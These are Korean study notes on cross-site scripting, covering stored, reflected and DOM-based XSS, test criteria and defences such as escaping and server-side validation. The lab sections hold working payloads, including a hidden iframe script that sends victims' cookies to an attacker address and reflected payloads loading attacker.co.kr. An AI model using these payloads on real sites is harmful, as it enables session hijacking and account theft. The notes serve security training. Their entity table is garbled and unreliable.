1. 개요
- 웹 애플리케이션에서 사용자 입력값에 대한 필터링이 제대로 이루어지지 않을 경우, 공격자가 입력 가능한 폼에 악의적인 스크립트를 삽입하여 해당 스크립트가 희생자 측에서 동작하도록 하는 취약점을 말한다.
- 공격자는 취약점을 이용하여 사용자의 개인정보 및 쿠키정보 탈취, 악성코드 감염, 웹페이지 변조 등을 수행한다.
2. Stored XSS
(1) 개요
- 공격자가 취약한 웹서버에 악성 스크립트를 저장해놓으면, 희생자가 해당 자료 요청시에 악성 스크립트가 응답 페이지로 전달되어 클라이언트측에서 동작하는 방식
(2) 실습
- 공격자는 게시판을 이용하여 악성 스크립트 포함하는 게시물 등록 : iframe 태그를 이용하여 자바 스크립트를 실행, 공격자 서버로 사용자 쿠키 정보를 URL 쿼리스트링의 cookie 파라미터로 전달하는 스크립트 작성, width와 height를 0으로 설정하여 희생자가 알 수 없도록 하기
- 희생자의 게시물 열람 및 쿠키 정보 유출 : 열람과 동시에 iframe 자바 스크립트가 희생자 PC에서 동작하면서 공격자 서버로 쿠키 정보를 전달하고 있다.
ex)
<script>alert("xss");</script>
<script>alert(document.cookie);</script>
<iframe src="https://www.nate.com/"></iframe>
ex) 타사용자 권한 획득
<iframe id="targetFrame" width=0 height=0></iframe><script>document.getElementById("targetFrame").src="http://192.168.0.133/getcookie.asp?cookie="+document.cookie;</script>
(3) 대응방안
- 사용자 입력값에 대한 검증 : htmlspecialchars() 함수는 html 문법상 특별한 의미를 갖는 특수문자 이스케이프 처리
HTML 특수문자 | HTML Entity | 의미 |
<, > | <, > | HTML 태그 기호 |
& | & | HTML Entity 표현 기호 |
". ' | ", ' | 속성값을 표현 |
3. Reflected XSS
(1) 개요
- 외부에 있는 악성 스크립트가 희생자 액션에 의해 취약한 웹서버로 전달되고, 웹서버의 응답 페이지에 해당 악성 스크립트가 삽입되어(DB에 저장X) 희생자 측에서 동작하는 방식
- 악성 URL로 리다이렉션
(2) 실습
1) "><script>alert("xss");</script>
"><script>alert(document.cookie);</script>
2) "><iframe src="http://attacker.co.kr"></iframe>
3) "><img src="http://attacker.co.kr">
4) "><script src="../script/login.js"></script>
4. DOM based XSS
(1) 개요
- DOM(document object model)은 문서 객체 모델로 웹페이지 내에 있는 모든 객체들을 조작, 관리할 수 있는 계층 구조 형태의 모델이다. DOM을 통해 HTML 문서를 계층적으로 보면서 콘텐츠를 동적으로 변경 가능
- 희생자의 웹 브라우저에서 응답 페이지에 포함된 자바 스크립트(정상)가 동작하면서 DOM 객체를 실행할 때 URL 등에 포함된 악성 스크립트가 동작하는 방식
- 저장형 및 반사형 XSS는 응답 페이지에 악성 스크립트가 포함되어 웹 브라우저로 전달되어 실행되는 반면, DOM 기반 XSS는 응답 페이지에 관계없이 웹 브라우저에서 발생한다는 차이점 존재
(2) 실습
5. 취약점 판단기준
점검위치 | 행위 | 취약반응 |
사용자 입력 폼 | <script>alert()</script> | 팝업창(alert) 발생 |
URL 파라미터 | <script>alert()</script> | 팝업창(alert) 발생 |
6. 대응방안
- 사용자 입력값에 대한 검증은 반드시 서버에서 이루어져야 한다. 클라이언트 단에서 검증하더라도 웹 프록시 툴을 이용해 우회가능하기 때문
- 사용자 입력 문자열에서 HTML 코드로 인식될 수 있는 특수문자(<,>,(,),&,/)를 일반문자로 치환하여 이스케이프 처리